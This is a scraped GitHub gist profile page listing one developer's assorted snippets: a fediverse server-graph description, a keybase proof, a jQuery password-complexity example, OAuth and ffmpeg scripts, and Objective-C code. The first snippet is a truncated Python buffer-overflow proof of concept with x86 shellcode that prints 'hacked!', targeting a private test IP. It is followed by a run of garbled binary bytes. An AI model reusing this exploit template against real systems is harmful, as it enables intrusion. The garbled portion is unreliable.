Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View danpalmer's full-sized avatar

Dan Palmer danpalmer

View GitHub Profile
import httplib
host = "172.16.89.128"
port = 8000
buffer_addr = "\x98\xF1\xFF\xBF" # 0xbffff198
payload = """
\xEB\x19\x31\xC0\x31\xDB\x31\xD2\x31\xC9\xB0\x04\xB3
\x01\x59\xB2\x07\xCD\x80\x31\xC0\xB0\x01\x31\xDB\xCD
\x80\xE8\xE2\xFF\xFF\xFF\x68\x61\x63\x6B\x65\x64\x21
"""x\x9c\xc5Y\xcbv\xe4(\x12\xdd\xf35V>\x9c\xf6~\xf6s\xce\xf4b\xd6!)R\xc2\x89@\x06\x94\xb2\xfc\xf5s# \xed\xcajW\xcd\xab\xba\x1b$\x02\x10\x89 \x9e\x17\xa5iv\xfb\xc3\xf1\xd1\xcc\x94\xd2\x1aboJ\xfb\xf4d^W\x8ey\xfbh?\x97\x9a\x96\xa6\xd1t{f\xfaHC\xf0\xd2\xc4eZJ\xdc\x92s\x86\xdaN\xda\xe7\x10\xb2\xb6\xa7\xe0/\xbc\x19\xc7yb\xeb\xcd\xe3\xb3d\x93F\xea\xc3j&J\x99\xa3y\xd4T_\xbe\xd80\xcb\xac\xfb]c\xa6%e\xf2\xc3\xe7z\x1e\xccd\xbb\x91\xd8\x99\xc7\xe3AF\xccKJ\x9bI\xcb\xccq"\xac\xe6\x95\xdewkz3\xa7\x92\xccy\xe9.[X0\x83d\xf3\xa0\xc9`\x94\x0c\xc2\xb4x\xa7\xb9X\xe7\xb0\x8a\x1c\xf16\x1f\x1a\xf3\x02\x96`\xae\x17\xf6\xde\x9e\xf1\xe0\xfd\xad\xbb\xb6~2\x94\xfa\xf30\x9aq\xf1\xb2\xe8v\xd1\xb5\xa7\xd0u #E\x87m\xb6\x94e\x19\xe4\xfb\xc8\xab\xc9v\x18d\xc8\xe2\xd3h=\x1b\xeb\xc2\x95e5\xb2\xaa\x89\xcdN\xd6\xd2\xc9O-\x9b\x18Zl\xdf\xe41\x80+f\x0c\x9d\xb0-b\xf7\x98\x01\xcb\xb1\xd83\x98\x11W\x8a\xc9\\\\a\\\xd3\xec\xc0(3p\x88\x03c}i\x0c\x8eM\x17\xa6y\x91\xc7\xc2+\xc6\xde\xb0\x95\x94lGf\xe6y\xd6\x9fA\x8eeW\xe6\xa8\xa9\nW\xc4\xbb\x97l\xce\x91\xb9\x0
@danpalmer
danpalmer / fediverse-server-graph.md
Last active January 10, 2023 21:43
Fediverse Server Graph

What is this?

The first ~13,000 server to server relationships from the Fediverse, as mapped starting from me, and branching out.

There exists an edge between servers if someone from one follows someone from the other. This is very limited, don't read too much into it. Note: each edge exists only once, the nodes being ordered alphabetically.

Keybase proof

I hereby claim:

  • I am danpalmer on github.
  • I am danpalmer (https://keybase.io/danpalmer) on keybase.
  • I have a public key whose fingerprint is A22E 9ACE 88B8 3849 E985 22FE 1CBB 0EBE 58F4 24A7

To claim this, I am signing this object:

<script type="text/javascript" src="/js/jquery.complexify.js"></script>
<script type="text/javascript">
$("#password").complexify({}, callback(valid, complexity){
alert("Password complexity: " + complexity);
});
</script>
import requests
import math
import unicodecsv as csv
import time
from requests_oauthlib import OAuth1
APP_TOKEN = ''
APP_SECRET = ''
USER_TOKEN = ''
USER_SECRET = ''
sudo easy_install pip
sudo pip install requests
sudo pip install requests-oauthlib
#!/bin/sh
ffmpeg -i source.mp4 -s hd720 -c:v libx264 -crf 23 -c:a libmp3lame -strict -2 source_converted.mp4
ffmpeg -i test_pattern.mp4 -s hd720 -c:v libx264 -crf 23 -c:a libmp3lame -strict -2 test_pattern_converted.mp4
mkdir segments
mkdir segments/source
mkdir segments/test_pattern
mediafilesegmenter --target-duration=10 -f segments/source source_converted.mp4 --no-floating-point-duration --iframe-index-file=none
mediafilesegmenter --target-duration=10 -f segments/test_pattern test_pattern_converted.mp4 --no-floating-point-duration --iframe-index-file=none
dispatch_queue_t queue =
dispatch_queue_create("com.example.background", DISPATCH_QUEUE_CONCURRENT);
for (int i = 0; i < 50; i++) {
dispatch_async(queue, ^{
sleep(3);
NSLog(@"Block %d finished", i);
});
}
NSURLRequest *request = [NSURLRequest requestWithURL:someURL
cachePolicy:NSURLRequestUseProtocolCachePolicy
timeoutInterval:60.0];